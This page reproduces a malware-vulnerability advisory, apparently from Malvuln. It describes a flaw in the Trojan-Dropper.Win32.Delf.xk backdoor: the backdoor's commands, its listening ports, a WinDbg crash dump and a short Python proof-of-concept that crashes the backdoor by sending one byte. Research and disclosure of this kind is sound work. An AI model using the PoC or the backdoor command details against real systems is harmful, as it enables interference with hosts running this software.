The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: TROJAN-DROPPER.WIN32.DELF.XK / Remote Invalid Pointer Write DOS
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/869c813722be90cf1b3708051103ce14.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Trojan-Dropper.Win32.Delf.xk
Vulnerability: Remote Invalid Pointer Write DOS
Description: Win32.Delf.xk drops server.exe in AppData\Local\Temp dir and listens on TCP ports 30005,30006 and 30007. Netcat to port 30005 and input the number 9 it trys to create a file, number 2 for read file and 3 for opening a file but errors out.
9 create file
2 read file
3 open file
Interestingly, sending a packet with a single character the number "4" to TCP port 30005 will trigger invalid pointer write and subsequent crash of the backdoor.
Type: PE32
MD5: 869c813722be90cf1b3708051103ce14
Vuln ID: MVID-2021-0130
Dropped files: server.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 03/14/2021
Memory Dump:
(418.1320): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=004577aa edx=77129d70 esi=00000000 edi=00000000
eip=004577ab esp=000a1430 ebp=000a1451 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
*** WARNING: Unable to verify checksum for server.exe
*** ERROR: Module load completed but symbols could not be loaded for server.exe
server+0x577ab:
004577ab 0089583cc740 add byte ptr [ecx+40C73C58h],cl ds:002b:410cb402=??
0:000> .ecxr
eax=00000000 ebx=00000000 ecx=004577aa edx=77129d70 esi=00000000 edi=00000000
eip=004577ab esp=000a1430 ebp=000a1451 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
server+0x577ab:
004577ab 0089583cc740 add byte ptr [ecx+40C73C58h],cl ds:002b:410cb402=??
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
Failed calling InternetOpenUrl, GLE=12029
FAULTING_IP:
server+577ab
004577ab 0089583cc740 add byte ptr [ecx+40C73C58h],cl
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 004577ab (server+0x000577ab)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 410cb402
Attempt to write to address 410cb402
PROCESS_NAME: server.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000001
EXCEPTION_PARAMETER2: 410cb402
WRITE_ADDRESS: 410cb402
FOLLOWUP_IP:
server+577ab
004577ab 0089583cc740 add byte ptr [ecx+40C73C58h],cl
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 00001320
BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE
PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE_EXPLOITABLE
DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE_EXPLOITABLE
IP_ON_HEAP: 3077129d
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.
IP_IN_FREE_BLOCK: 3077129d
FRAME_ONE_INVALID: 1
LAST_CONTROL_TRANSFER: from 3077129d to 004577ab
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
000a1451 3077129d 34000a15 800019fd bc000a15 server+0x577ab
000a1455 34000a15 800019fd bc000a15 aa000a14 0x3077129d
000a1459 800019fd bc000a15 aa000a14 34004577 0x34000a15
000a145d bc000a15 aa000a14 34004577 300019fd 0x800019fd
000a1461 aa000a14 34004577 300019fd 00000a15 0xbc000a15
000a1465 34004577 300019fd 00000a15 53000000 0xaa000a14
000a1469 300019fd 00000a15 53000000 30771012 0x34004577
000a146d 00000000 53000000 30771012 34000a15 0x300019fd
STACK_COMMAND: ~0s; .ecxr ; kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: server+577ab
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: server
IMAGE_NAME: server.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19
FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_EXPLOITABLE_c0000005_server.exe!Unknown
BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE_server+577ab
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=30005
PAYLOAD ="4"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
s.send(PAYLOAD)
print("Trojan-Dropper.Win32.Delf.xk / Invalid Pointer Write DOS")
print("MD5: 869c813722be90cf1b3708051103ce14")
print("By Malvuln")
s.close()
if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum